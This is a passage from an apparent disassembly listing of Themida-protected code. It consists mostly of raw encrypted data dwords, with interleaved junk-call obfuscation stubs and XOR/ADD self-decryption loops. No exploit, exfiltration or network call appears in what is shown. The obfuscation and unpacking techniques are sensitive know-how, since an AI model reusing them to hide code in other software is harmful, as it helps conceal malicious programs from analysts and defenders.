8104245Ch, 1C042444h dd 43000000h, 0B220C353h, 81E6505Dh, 8387ED72h, 0F56005C0h dd 50509061h, 452BF52h, 310F2423h, 11E9h, 80163E00h, 7FDBEF8Bh dd 0D0B3B3E4h, 669B002Fh, 585A3E64h, 0CFBF6690h, 6A006AD7h dd 9E900h, 7F900000h, 7DF8F143h, 0FF07F29Ah, 28243195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0DB54BFDCh, 6829AE22h, 14E98Dh, 956E0000h dd 5469BAC9h, 3130A3DDh, 9168AD35h, 0D9700A7Ah, 8D8DFBB6h dd 62B94F3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 61C35747h, 9D892851h, 6282081h, 8166D1FFh, 83C8DCDBh dd 282415BDh, 850F0106h, 76h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0C9C35747h, 0BD8B86F1h, 6281D31h dd 22F58D89h, 26A0628h, 1EC18589h, 0F900628h, 389h, 0DF8B6600h dd 909CB350h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0FCC35242h, 13D8BCD6h, 2B9BF3A5h, 33F38167h, 0FF5FF6A8h dd 282CD195h, 3957BF06h, 0E3E95819h, 0E800000Ch, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 62CEF47h push 0 push ebx call sub_59829E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59829E proc near ; CODE XREF: Themida_:00598296p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_59829E endp ; --------------------------------------------------------------------------- dw 2388h dd 2818B99Dh, 11E906h, 29B0000h, 45C334BBh, 0D01E934Dh dd 5426B0A0h, 8D672370h, 2B85B085h, 0E9B58906h, 9006280Ch dd 0CB8B6660h, 0EE8h, 35604C00h, 2A51D396h, 0D6B0F049h dd 5914B7C8h, 6A905061h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0CAFDC350h, 35FF640Fh dd 0 ; --------------------------------------------------------------------------- mov [ebp+6281E91h], edx sub di, 0F9Fh mov large fs:0, esp push 0 push eax call sub_598335 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598335 proc near ; CODE XREF: Themida_:0059832Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_598335 endp ; --------------------------------------------------------------------------- db 0ACh, 51h, 0CDh dd 0E80A0298h, 9E927h, 4FF0000h, 47F3B5Ah, 0E97B6ADAh dd 10h, 540E1925h, 9B2ABBD8h, 1A7A01C0h, 0F508EE3Ah, 165985FFh dd 0CF810628h, 3F72D923h, 33B3FF6Ah, 5E1B5FFh, 6A0628h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0AAEABAC3h, 33BBCA83h, 0FF30BE03h, 282DC195h, 10BE906h dd 95890000h, 6280DBDh, 8D2900B0h, 6281285h, 8B6670E6h dd 0F71E4DFh, 0EE9DFBFh, 6B000000h, 767A3BAh, 7C6BAB21h dd 1B886B37h, 0F613C38h, 0D883h, 35BD3100h, 0F062825h dd 9D2BC8B6h, 6280081h, 6BAh, 0BD035100h, 62800B5h, 89C18B5Fh dd 282E59BDh, 4E8C106h, 68D78166h, 0E2F76661h, 18E9BD8Bh dd 0C82B0628h, 0D18B9FB3h, 2BE98D09h, 92E90628h, 0F000000h dd 858BF8BFh, 5F4C4C44h, 64794BBBh, 7C0833Eh, 16CD9D89h dd 0C0830628h, 14E900h, 81BF0000h, 6B32A409h, 48674E85h dd 683865Fh, 0A959EFB9h, 0D03B4B62h, 21830Fh, 0D98B0000h dd 4117DB81h, 4AE93C85h, 0E8000000h, 8, 2D06AFCFh, 0DF13CA89h dd 185BD29h, 8B5B0628h, 0FFFFFF8Dh, 0FFB70FFFh, 0F01E183h dd 2484h, 0E99D2300h, 83062814h, 0FFFFFFA5h, 9D8BFEFFh dd 62802CDh, 4C449589h, 0B5895F4Ch, 628210Dh, 0E9h, 0B6B58D00h dd 89062C63h, 28185595h, 6A006A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 5E99C351h dd 0D7B95EF5h, 0ED2FB300h, 2C3DBD8Bh, 95FF0628h, 6280465h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A1C35545h dd 0F15BD874h, 0BD8B1C80h, 6280BE5h, 9E9h, 99BC4D00h, 8F862381h dd 0D2B9D983h, 6A00000Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0D0BFC357h, 0B50960DBh dd 6280165h, 61D2B70Fh, 6AFCE183h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 60D3C356h dd 61C18B66h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 1A852F3Bh, 1FCE6CBBh, 0DB816614h dd 5CB38D8Dh, 0BAC02Bh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0F324C356h dd 2BDAA768h, 22218589h, 33AD0628h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0D98BADC3h, 21BD8B60h, 8B06282Fh, 2810C98Dh dd 880D6106h, 60000000h, 97AAE681h, 81666F7Fh, 618758DFh dd 715958Bh, 8B660628h, 0BD8D8BDAh, 8B062821h, 280F059Dh dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0B1E2C356h, 8FD1DC80h, 5E924h, 4050000h dd 6642F9A8h, 0BEA7D781h, 25A1BD83h, 0F000628h, 7B84h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0FEA6AE3h, 285h, 0B8DBB700h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5986C7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5986C7 proc near ; CODE XREF: Themida_:005986BFp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5986C7 endp ; --------------------------------------------------------------------------- test eax, 6E8D8D28h dec edi sub [esi], al sub [ebp+6283495h], esi jmp ecx ; --------------------------------------------------------------------------- push 0 push ecx call sub_5986F2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5986F2 proc near ; CODE XREF: Themida_:005986EAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5986F2 endp ; --------------------------------------------------------------------------- cmp al, 0Fh mov bh, 0F9h sub ebx, [ebp+6281F15h] cmp dword ptr [ebp+628113Dh], 0 jz loc_598B03 or [ebp+6280035h], edi cmp dword ptr [ebp+628113Dh], 1 jz loc_598B1E push 0 push ebp call sub_598737 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598737 proc near ; CODE XREF: Themida_:0059872Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_598737 endp ; --------------------------------------------------------------------------- db 0F3h dd 0EEE3CC28h, 120A917h, 29B589h, 0BD830628h, 628113Dh dd 85860F03h, 6A000003h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0CECEC350h, 20A3C49h dd 0BD89C514h, 62804E1h, 19BD8B60h, 66062809h, 6AD98Ch dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0CFB73C3h, 59212533h, 80F3299Bh, 0BD2304E1h, 62818F9h dd 6870Fh, 0EF810000h, 5AB24B7h, 840FC90Ah, 111h, 6E9h dd 22487400h, 8B03A10Dh, 2824C985h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 1F6C1A3Ch dd 0BD8B0A22h, 6280469h, 2D058533h, 6A0628h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 90B5B5C3h dd 0D002BB50h, 6A9076ACh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0F631C352h, 0FC5D38Ah dd 0C0A9779Bh, 6769D381h, 95097FDFh, 62820E5h, 6A006AF9h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 4B4EC350h, 52F03BA5h, 65DB589h, 2D680628h dd 50493E29h, 66310F52h, 585AF88Bh, 0D2243481h, 8A49212Ah dd 6D95FFD9h, 51062817h, 6E9h, 0DE717300h, 5BC9A193h, 0A3FD8589h dd 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 8624C6C3h, 16FE9h, 0F5858B00h, 6A062BA3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 640EC352h, 7D18D026h, 11E96E7Ah, 36000000h dd 0F75116A1h, 0D6963EDCh, 0C6B190A6h, 4694A05h, 1800C7h dd 0DE90000h, 79000000h, 445FD6F1h, 0B1DD025Dh, 53E05169h dd 0A3F9B58Bh, 0BD8B062Bh, 62802E1h, 2B65858Bh, 9D310628h dd 6280E59h, 9D8B0689h, 6280381h, 24C9858Bh, 6A0628h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 16BEC3h, 0FCF60BB8h, 4468943h, 1F98D89h, 0E8500628h dd 9, 4D8F7BDh, 0C0C4425Dh, 5ABF6650h, 34895B2Ch, 0A9BD8B24h dd 0FF062811h, 2BA3F5B5h, 0FAB70F06h, 229DBD89h, 45680628h dd 50C811CAh, 4800F52h, 66000000h, 0F33F5BFh, 5A25B731h dd 24048158h, 380D39BAh, 175D8D29h, 81660628h, 8D51F1F3h dd 2BA3FD85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0EB885BE1h, 6670C889h, 5050C2BFh dd 10E9h, 89F37300h, 0BF265D40h, 6C46973Eh, 0A5E94ABh dd 2404897Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 6C35747h, 2CF8049h, 176D95FFh, 8D890628h, 6281F2Dh dd 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 14288BEBh, 0F9BA5EBh, 9D2BF8BFh, 62817C5h dd 113D85C7h, 30628h, 83F80000h, 2BA3FDBDh, 840F0006h dd 4Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh dd 3FC35343h, 0F2B6AE79h, 89E05C2Bh, 2803DDBDh, 38E9FC06h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0E65AC355h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h db 0E7h, 0EBh, 36h ; --------------------------------------------------------------------------- loc_598B03: ; CODE XREF: Themida_:00598713j ; Themida_:00598B1Aj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_598B03 jmp short loc_598B39 ; --------------------------------------------------------------------------- loc_598B1E: ; CODE XREF: Themida_:00598726j ; Themida_:00598B35j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_598B1E jmp short $+2 loc_598B39: ; CODE XREF: Themida_:00598B1Cj mov eax, eax call near ptr loc_598B43+3 adc [ebx-30h], al loc_598B43: ; CODE XREF: Themida_:00598B3Bp fild qword ptr [edx+esi*4-7] pop ebx movsx edi, cx cmp dword ptr [ebp+628113Dh], 3 jnz loc_598F5E push 0 push ecx call sub_598B63 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598B63 proc near ; CODE XREF: Themida_:00598B5Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_598B63 endp ; --------------------------------------------------------------------------- db 72h dd 77B75984h, 0A3FDBD83h, 0F00062Bh, 3D984h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0B70FD095h, 0FDB5FFDFh, 0F062BA3h, 148Eh, 0FE900h, 8D500000h dd 3BB9AA08h, 0FB78C1D4h, 74AB0C93h, 9595FF6Ah, 8906280Eh dd 28182D95h, 0F1B58B06h, 6A062BA3h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 3495C357h dd 85093235h, 6280D49h, 2EB59501h, 6C70628h, 10001h, 26D98529h dd 66500628h, 89FBEDBFh, 5B522434h, 4850Fh, 0BF660000h dd 0B5FFDB69h, 62BA3FDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 7EC35343h, 0BD89D546h, 6282D61h, 201995FFh dd 6A0628h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0F02B76C3h, 4880Fh, 0BB660000h, 0B58BCF13h dd 62BA3F1h, 7810Fh, 800F0000h, 1, 79B356F8h, 0D5858B5Bh dd 53062817h, 2F01B589h, 895F0628h, 0C486h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0B788B999h, 8880F34h, 51000000h, 1F499D8Bh, 8B5B0628h dd 28071595h, 0AE906h, 52890000h, 0FB828D52h, 0FEFBF5Dh dd 0B57723BFh, 4C28375h, 896EF380h, 6A2050h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0ED8A50C3h dd 8BBE330Fh, 4810FDEh, 66000000h, 8D00C2BFh, 2BB8D985h dd 9E906h, 5BD80000h, 9F1C80F1h, 895493E3h, 0B886h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 870F5F77h, 6, 2F4DBD8Bh, 6A0628h, 29D1B589h, 0B5FF0628h dd 62BA3FDh, 0F1D9D29h, 95FF0628h, 6282CD1h, 11E9h, 3D660200h dd 9768030Fh, 96D32DC0h, 0EA8F7751h, 5196252Dh, 505FFE8Bh dd 759D2996h, 0FF062817h, 2BA3FDB5h, 0BD8D3106h, 81062829h dd 0A0E21DFh, 0B995FF75h, 6A062829h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0A730C352h dd 34DFE812h, 5E9C9F7h, 0C000000h, 0A226D616h, 0C55BD83h dd 0F000628h, 5784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0D59D8BC1h, 9606280Ch dd 6050FA8Bh, 0DE8BC68Bh, 6A9661h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 320C4CC3h, 0C4204663h dd 1830F2Eh, 0FC000000h, 0A3FDB5FFh, 6A062Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 2191F1C3h dd 228595FFh, 810F0628h, 3, 0FFF88B66h, 2BA3FDB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 3FF10025h, 5C2CB905h, 0C195FF13h, 6A062810h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0DD9BC356h, 0BD83FB8Bh, 6281861h, 4F840F02h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 3EB4C350h, 52D0003Eh, 9D2BE1B3h, 628298Dh dd 890Fh, 858B0000h, 6281259h, 0C6FCh, 11E9h, 71578E00h dd 82443E9Ah, 0BB58FDCCh, 1D6B6AAAh, 85C7D036h, 6281305h dd 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_598F3F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598F3F proc near ; CODE XREF: Themida_:00598F37p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_598F3F endp ; --------------------------------------------------------------------------- db 0F0h ; --------------------------------------------------------------------------- cld pusha mov ecx, [ebp+6282935h] and cx, 0EBD5h popa loc_598F5E: ; CODE XREF: Themida_:00598B52j jmp near ptr dword_598348+34h ; --------------------------------------------------------------------------- movsx ebx, cx mov eax, ecx mov ebx, edi lea eax, [ebp+6282C05h] push 0 push edx call sub_598F7B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598F7B proc near ; CODE XREF: Themida_:00598F73p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_598F7B endp ; --------------------------------------------------------------------------- db 0D4h dd 0B360DADAh, 9D0B190Fh, 628112Dh, 12E9h, 6DF99D00h, 0EC12C3CBh dd 125EECA1h, 2AB413B9h, 50B696DEh, 52505260h, 585A310Fh dd 1BAB95Eh, 8961536Ah, 6A2404h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0CE8949C3h, 0F359C912h dd 0D8BF0F0Fh, 6656006Ah, 5FCF5DBBh, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0A4F09DC3h dd 14DC55EBh, 858D884Fh, 62CFE61h, 0BB05C083h, 4CD9B50Dh dd 50DC8A90h, 0BB7BF66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0DD9D03E7h, 6A06280Eh dd 0F5E78100h, 6A6A78A5h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8B66DC09h dd 3195FFDFh, 66062824h, 8D8DF88Bh, 62B94F3h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0ABC35343h, 3E0B60C2h dd 8A0FB54Bh, 19h, 14E9h, 780AF200h, 0A72B5B7Ah, 39391B67h dd 0F3F9ABBFh, 528C9AAFh, 0A9BD89F7h, 0FF062806h, 57006AD1h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 788CA801h, 0F74C069Ch, 0BCEB8071h, 2415BD83h, 0F010628h dd 0A185h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 1D149AA7h, 1F2D54B9h, 0F8BF0FBDh dd 0B8A9D781h, 26A3BB8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0F6C35141h, 1246B5AEh, 0E8E2E731h, 0Bh dd 0B607E62Eh, 0B8783869h, 0E845A253h, 5, 3B8EB88Dh, 0D3BF6683h dd 295B5FC7h, 2802758Dh, 0BB665006h, 489FDBBh, 498D8924h dd 0FF06280Fh, 282CD195h, 0E9566006h, 6, 56D4EAA4h, 8B5A7EB5h dd 2818D58Dh, 0DBE96106h, 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 62CFE6Bh mov [ebp+6281771h], edx add [ebp+6280FD9h], eax add [ebp+6280655h], eax lea eax, [ebp+62B85B0h] push 0 push edi call sub_5991DA and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5991DA proc near ; CODE XREF: Themida_:005991D2p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5991DA endp ; --------------------------------------------------------------------------- db 0CCh db 1Ch db 90h db 50h, 52h, 60h dd 0F616160h, 0DE86031h, 0B3000000h, 73DF7D07h, 1EA544E7h dd 0C8310D32h, 0DE859h, 13B80000h, 0CFBE6685h, 66B8B5C0h dd 5F83E58Bh, 50585A61h, 5E8h, 0CC357600h, 8B66699Eh, 0F905BFBh dd 18Ch, 0FF64F900h, 35h, 1FE78100h, 64142041h, 2589h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 68EFC2C3h, 2CC19C3h, 8B7D0FBFh, 5985FF78h dd 6A062816h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 2EE1C352h, 0B27E383Fh, 9BE7D0DBh dd 6AE4DF80h, 10BF66FFh, 85B5FFB0h, 0E906281Eh, 13h, 9563D742h dd 0F8EA206Ch, 9151A88Ch, 9BB0EB81h, 0FF11CCF6h, 282DC195h dd 129E906h, 31560000h, 2814899Dh, 0B05B06h, 29419D8Bh dd 70E60628h, 1965BD8Bh, 71E40628h, 2334CF81h, 613C6228h dd 101830Fh, 0BD8B0000h, 6282E85h, 66C8B60Fh, 5C98CF81h dd 6BAh, 31BD8B00h, 8B062823h, 0DE9C1h, 0BEEF0000h, 0BB80016h dd 9C43FCF6h, 0C1533EE3h, 0C78104E8h, 1CEAEA52h, 0FE2F766h dd 198Dh, 13860F00h, 0E8000000h, 0Dh, 0C49033A9h, 7879D19Eh dd 38823843h, 0C82B5F2Bh, 0AE9h, 8FD57D00h, 0A6D3BD58h dd 8B7BA58Bh, 8A5ABBD1h, 8CE951E9h, 29000000h, 28322185h dd 50858B06h, 8947554Ch, 280111B5h, 7C08306h, 3CB901BFh dd 0C0837Dh, 0AE9h, 15A1A700h, 24BA5261h, 3B0A2F7Ah, 1F830FD0h dd 8B000000h, 2818319Dh, 4DE906h, 0F600000h, 683h, 0F1B58B00h dd 0B062819h, 280DD98Dh, 8D8B6106h, 0FFFFFFFFh, 19999D31h dd 0E1830628h, 24840F01h, 66000000h, 0BD89F98Bh, 62801D5h dd 0FFFFA583h, 56FEFFFFh, 95895FF9h, 47554C50h, 19519509h dd 0E90628h, 8D000000h, 2C78ABB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 71F15A1Ah dd 1F510EECh, 12E9B1h, 0EA1E0000h, 0A302F356h, 8163E3EFh dd 0B0F705C5h, 5959BF37h, 4BE4F381h, 6A1A20h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D6C35141h, 0C6ED0B85h dd 7272A449h, 11E9E0h, 9D420000h, 228DF298h, 9C91D2A0h dd 5DE860E9h, 0FF70FA1Eh, 28046595h, 8D236006h, 6280851h dd 599D8B61h, 0B906282Dh, 0E97h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 9EC35747h, 0A4BB9263h, 55C60194h dd 16830Fh, 0E9600000h, 0Fh, 0F8570F31h, 23AEFCF3h, 0FF788505h dd 61814748h, 8BFCE183h, 2834CD9Dh, 810F6006h, 5, 0A1D78166h dd 0FE8C4h, 51D80000h, 0B168CD21h, 0EF50BC0Eh, 0CA262E56h dd 0D8D8B9Ah, 5F06282Fh, 6AFC61h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8916A3C3h, 282221BDh dd 15858906h, 2B062804h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 6C1DD919h, 0F63A9E8h dd 86h, 0E9D22B00h, 0Ch, 0D9402530h, 339C7326h, 4B4529B5h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0FEE8A60h, 68Eh dd 860F00h, 61000000h, 258D8960h, 66062834h, 0D61DF8Bh dd 88h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh dd 27C35545h, 0F8B42962h, 1B952A6h, 2824C58Dh, 15958B06h dd 31062807h, 2816B585h, 0BD8D8B06h, 6A062821h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 846AC356h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 9D8B5818h, 6281461h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 32C35040h, 11929170h, 0DD8EA212h, 0F98B66A5h dd 0DE9h, 0F4982F00h, 4C07830h, 8761D005h, 0BD830D39h dd 62825A1h, 60840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0C010C350h dd 0B82Ch, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 2781B5C3h, 0FB3EBBBCh, 0F241329h dd 8Ch, 6E8D8D00h, 0FF06284Fh, 48E0FE1h, 66000000h, 833551BFh dd 28113DBDh, 840F0006h, 487h, 0AE9h, 9DA01300h, 790434BEh dd 83029FF5h, 28113DBDh, 840F0106h, 486h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 8DC35646h, 9FE2CC79h dd 0EB684769h, 0C9BD8BA9h, 83062805h, 28113DBDh, 860F0306h dd 418h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 88C35040h, 0F7434571h, 0E6DB188Eh, 719D296Ah, 60062813h dd 0BD0351FCh, 62803F9h, 0D98C665Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0D3C35646h, 983BF21h, 14E9h dd 11D44B00h, 0B056699Ch, 85B61DCh, 37A58FD8h, 7ADD951Ah dd 8880FCEh, 56000000h, 1F559589h, 805F0628h, 816004E1h dd 33EB41C6h, 9D336006h, 6282925h, 262D8D8Bh, 61610628h dd 840FC90Ah, 108h, 0EE59D8Bh, 858B0628h, 62824C9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 97C35343h, 556C58B8h dd 81234A37h, 0CE9h, 0A4A3B100h, 0F2F669FCh, 0EE57C56Bh dd 58533E3h, 0E906282Dh, 0Fh, 0F2C55C7Eh, 0B82F18h, 224B3D8Ah dd 9039D3BEh, 50F98B66h, 0DB5B2FBFh, 6A9004h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 5DB4DC3h dd 66873A0Dh, 5CE9DB81h, 1ED9D8Bh, 6A0628h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 1DC35545h, 68502B96h dd 0BEDE6392h, 8490BF66h, 6D240481h, 8B4140A0h, 28043D9Dh dd 6D95FF06h, 66062817h, 9D8BD98Bh, 628332Dh, 0A3FD8589h dd 8B50062Bh, 280F15BDh, 0EDE95B06h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0F5B6C351h, 0A3F5858Bh, 8B60062Bh, 280499B5h, 0BD9D3106h dd 61062823h, 1800C7h, 81660000h, 8B1E52E7h, 2BA3F9B5h dd 0CCBB6606h, 65858BECh, 6A06282Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E81DC357h dd 6, 0EADD4553h, 0FE9FF13h, 21000000h, 93693310h, 0FB1F3BBAh dd 6B09BE18h, 295B3AAAh, 282469BDh, 6860F06h, 81000000h dd 0F44782E3h, 0E9068908h, 6, 8F9BC7D4h, 0AE9094Eh, 0E2000000h dd 0D07B1D8Eh, 30515947h, 0C9858B5Fh, 0F062824h, 38Eh dd 0DEBF0F00h, 6A044689h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0BD1AC350h, 6B3C38EDh dd 0D49E51DFh, 19859589h, 0B7960628h, 7E8503Fh, 67000000h dd 906DDC5Ch, 5250A8FEh, 810Fh, 310F0000h, 5ADA8B66h, 0E9965F58h dd 0Ch, 15FF9BFh, 0C4C6BE9Fh, 0FE610904h, 0A3F5B5FFh, 6A062Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 71B77BC3h, 9D29D9FAh, 6282E85h, 0C1D9589h dd 0D3800628h, 7E3C68E0h, 6E9A851h, 27000000h, 165DF0CCh dd 24048125h, 57CD85C3h, 8D89DE8Bh, 62803C5h, 0A3FD858Dh dd 0AE9062Bh, 0DD000000h, 1E05529Ah, 0F267A892h, 800F5072h dd 9, 0BA585360h, 3DC49F9Dh, 24048961h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 16h, 53C35646h, 95FF7E36h dd 628176Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 40C35646h, 567BABD1h, 8D936AA2h, 0DA8B6619h, 55006A61h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0D0B60C90h, 0E9522E48h, 0Eh, 0CE18EBE9h, 2E6FCF33h dd 0B0FD345Dh, 0C75F3BBDh, 28113D85h, 306h, 0DBB70F00h dd 0A3FDBD83h, 0F00062Bh, 4F84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0FE421FCCh dd 80A4676Ah, 0E93BB709h, 3Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 24C35141h, 0C94B32C4h, 0BA1E9D40h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 0A7C6C357h, 3D5B14D8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 